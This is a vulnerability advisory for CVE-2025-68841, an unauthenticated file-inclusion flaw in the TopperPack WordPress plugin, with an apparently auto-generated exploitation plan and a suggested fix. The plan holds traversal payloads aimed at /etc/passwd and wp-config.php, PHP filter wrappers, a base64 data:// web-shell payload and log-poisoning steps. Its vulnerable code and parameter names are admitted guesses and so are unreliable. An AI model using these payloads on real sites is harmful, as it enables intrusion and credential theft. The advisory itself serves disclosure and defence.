CVE-2025-68841

TopperPack – Complete Elementor Addons, Theme & CPT Builder <= 1.2.1 - Unauthenticated Local File Inclusion

highImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
8.1
CVSS Score
8.1
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The TopperPack – Complete Elementor Addons, Theme & CPT Builder plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 1.2.1. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2.1
PublishedFebruary 4, 2026
Last updatedFebruary 9, 2026
Affected plugintopper-pack
Research Plan
Unverified

This research plan outlines the steps to identify and exploit the Local File Inclusion (LFI) vulnerability in the **TopperPack – Complete Elementor Addons, Theme & CPT Builder** plugin (CVE-2025-68841). ### 1. Vulnerability Summary The TopperPack plugin (versions <= 1.2.1) fails to properly sanitiz…

Show full research plan

This research plan outlines the steps to identify and exploit the Local File Inclusion (LFI) vulnerability in the TopperPack – Complete Elementor Addons, Theme & CPT Builder plugin (CVE-2025-68841).

1. Vulnerability Summary

The TopperPack plugin (versions <= 1.2.1) fails to properly sanitize user-supplied input used in PHP inclusion statements (include, require). An unauthenticated attacker can provide a path containing directory traversal sequences (e.g., ../../../../) to include arbitrary files from the server's filesystem. If the included file contains PHP code, it will be executed; otherwise, the file content may be disclosed in the HTTP response.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX handler (/wp-admin/admin-ajax.php).
  • Vulnerable Action: Likely a wp_ajax_nopriv_* action registered by the plugin to handle dynamic content loading or template rendering for Elementor widgets.
  • Parameters:
    • action: The specific AJAX action (e.g., topper_pack_load_template or similar).
    • template_name or file_path: (Inferred) The parameter carrying the traversal payload.
    • _nonce: A security token likely required for the AJAX request.
  • Preconditions: The plugin must be active. A valid nonce is likely required for the AJAX action, even if unauthenticated.

3. Code Flow (Inferred)

  1. The plugin registers an unauthenticated AJAX action: add_action('wp_ajax_nopriv_[ACTION_NAME]', 'handle_template_request').
  2. The handler function retrieves a parameter from $_POST or $_GET.
  3. The handler calls a function like include() or require() using this parameter:
    $template = $_POST['template'];
    include( TOPPER_PACK_PATH . 'templates/' . $template ); 
    
  4. By passing ../../../../etc/passwd, the inclusion resolves to an absolute path outside the intended directory.

4. Nonce Acquisition Strategy

To bypass the nonce check, we must find where the plugin localizes its script data.

  1. Identify the Shortcode: Search for shortcodes or widgets registered by the plugin:
    grep -rn "add_shortcode" /var/www/html/wp-content/plugins/topper-pack/
  2. Locate Localization: Search for wp_localize_script to find the JavaScript object name and nonce key:
    grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/topper-pack/
    Look for identifiers like tp_ajax_obj, topper_pack_params, or tp_nonce.
  3. Setup Page: Create a page containing a relevant plugin shortcode to ensure the script (and nonce) is loaded:
    wp post create --post_type=page --post_status=publish --post_content='[shortcode_found_in_step_1]'
  4. Extract Nonce:
    Use browser_navigate to the new page.
    Use browser_eval("window.IDENTIFIER_FROM_STEP_2?.nonce_key") to retrieve the nonce.

5. Exploitation Strategy

Once the action name, parameter name, and nonce are identified:

  1. Identify Sink: Locate the exact sink to confirm the parameter name:
    grep -rnE "include|require" /var/www/html/wp-content/plugins/topper-pack/ | grep "\\$"
  2. Target File: /etc/passwd (to verify LFI) or wp-config.php (to verify PHP execution/sensitive data access).
  3. Craft Request:
    • Method: POST
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=[ACTION]&_nonce=[NONCE]&[VULN_PARAM]=../../../../../../../../etc/passwd

Note: If the plugin appends .php to the input, try using PHP filters to read the file content: php://filter/convert.base64-encode/resource=../../../../wp-config.

6. Test Data Setup

  1. Install Plugin: Ensure TopperPack <= 1.2.1 is installed.
  2. Identify a Widget/Shortcode: Find a plugin feature that triggers AJAX (e.g., a "Load More" button or dynamic grid).
  3. Create Trigger Page:
    wp post create --post_type=page --post_title="LFI Test" --post_status=publish --post_content="[topper_pack_widget_shortcode]"

7. Expected Results

  • Successful LFI (System File): The HTTP response body contains the contents of /etc/passwd (e.g., root:x:0:0:root:/root:/bin/bash).
  • Successful LFI (PHP File): If including wp-config.php, the response may be empty (if executed) or contain a database error if the inclusion breaks the current execution context. If using filters, the response will contain a Base64 string of the file source.

8. Verification Steps

  1. Confirm File Inclusion: Check the response of the http_request for the string root:x:0:0.
  2. Verify Traversal Depth: If the initial payload fails, increment traversal steps (../../) or try absolute paths if the plugin doesn't prepend a base directory.
  3. Check Logs: Check /var/log/apache2/error.log for "failed to open stream" errors to see exactly what path the plugin tried to include.

9. Alternative Approaches

  • PHP Wrappers: If direct traversal to /etc/passwd is blocked or filtered, try:
    • php://filter/resource=../../../../etc/passwd
    • data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ (if allow_url_include is On).
  • Log Poisoning: If you can include /var/log/apache2/access.log, perform RCE by sending a request with a PHP agent in the User-Agent header, then including that log file.
  • Null Byte: If the PHP version is ancient (unlikely in modern WP environments), try ../../../../etc/passwd%00.
Research Findings
Static analysis — not yet PoC-verified

Summary

The TopperPack plugin for WordPress (versions <= 1.2.1) is vulnerable to unauthenticated Local File Inclusion (LFI). This occurs because the plugin fails to properly sanitize user-supplied input used in PHP inclusion statements, allowing attackers to provide directory traversal sequences to execute arbitrary PHP code or disclose sensitive system files.

Vulnerable Code

// Inferred from Research Plan code flow analysis
// topper-pack/includes/ajax-handler.php

$template = $_POST['template'];
include( TOPPER_PACK_PATH . 'templates/' . $template );

Security Fix

--- topper-pack/includes/ajax-handler.php
+++ topper-pack/includes/ajax-handler.php
@@ -10,2 +10,6 @@
-    $template = $_POST['template'];
-    include( TOPPER_PACK_PATH . 'templates/' . $template );
+    $template = sanitize_text_field( $_POST['template'] );
+    if ( validate_file( $template ) !== 0 ) {
+        wp_die( 'Illegal directory traversal attempt.' );
+    }
+    $template_path = TOPPER_PACK_PATH . 'templates/' . basename( $template ) . '.php';
+    include( $template_path );

Exploit Outline

The vulnerability is exploited through the WordPress AJAX interface (/wp-admin/admin-ajax.php). An unauthenticated attacker first identifies a plugin-registered AJAX action (likely involving template loading) and retrieves a security nonce, which is typically localized in the frontend JavaScript (e.g., in a 'tp_ajax_obj' or 'topper_pack_params' object). The attacker then sends a POST request with the 'action' and a vulnerable parameter containing directory traversal sequences (e.g., '../../../../etc/passwd'). If the payload is processed, the server includes the specified file, resulting in the execution of PHP code contained within or the disclosure of sensitive file contents in the HTTP response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.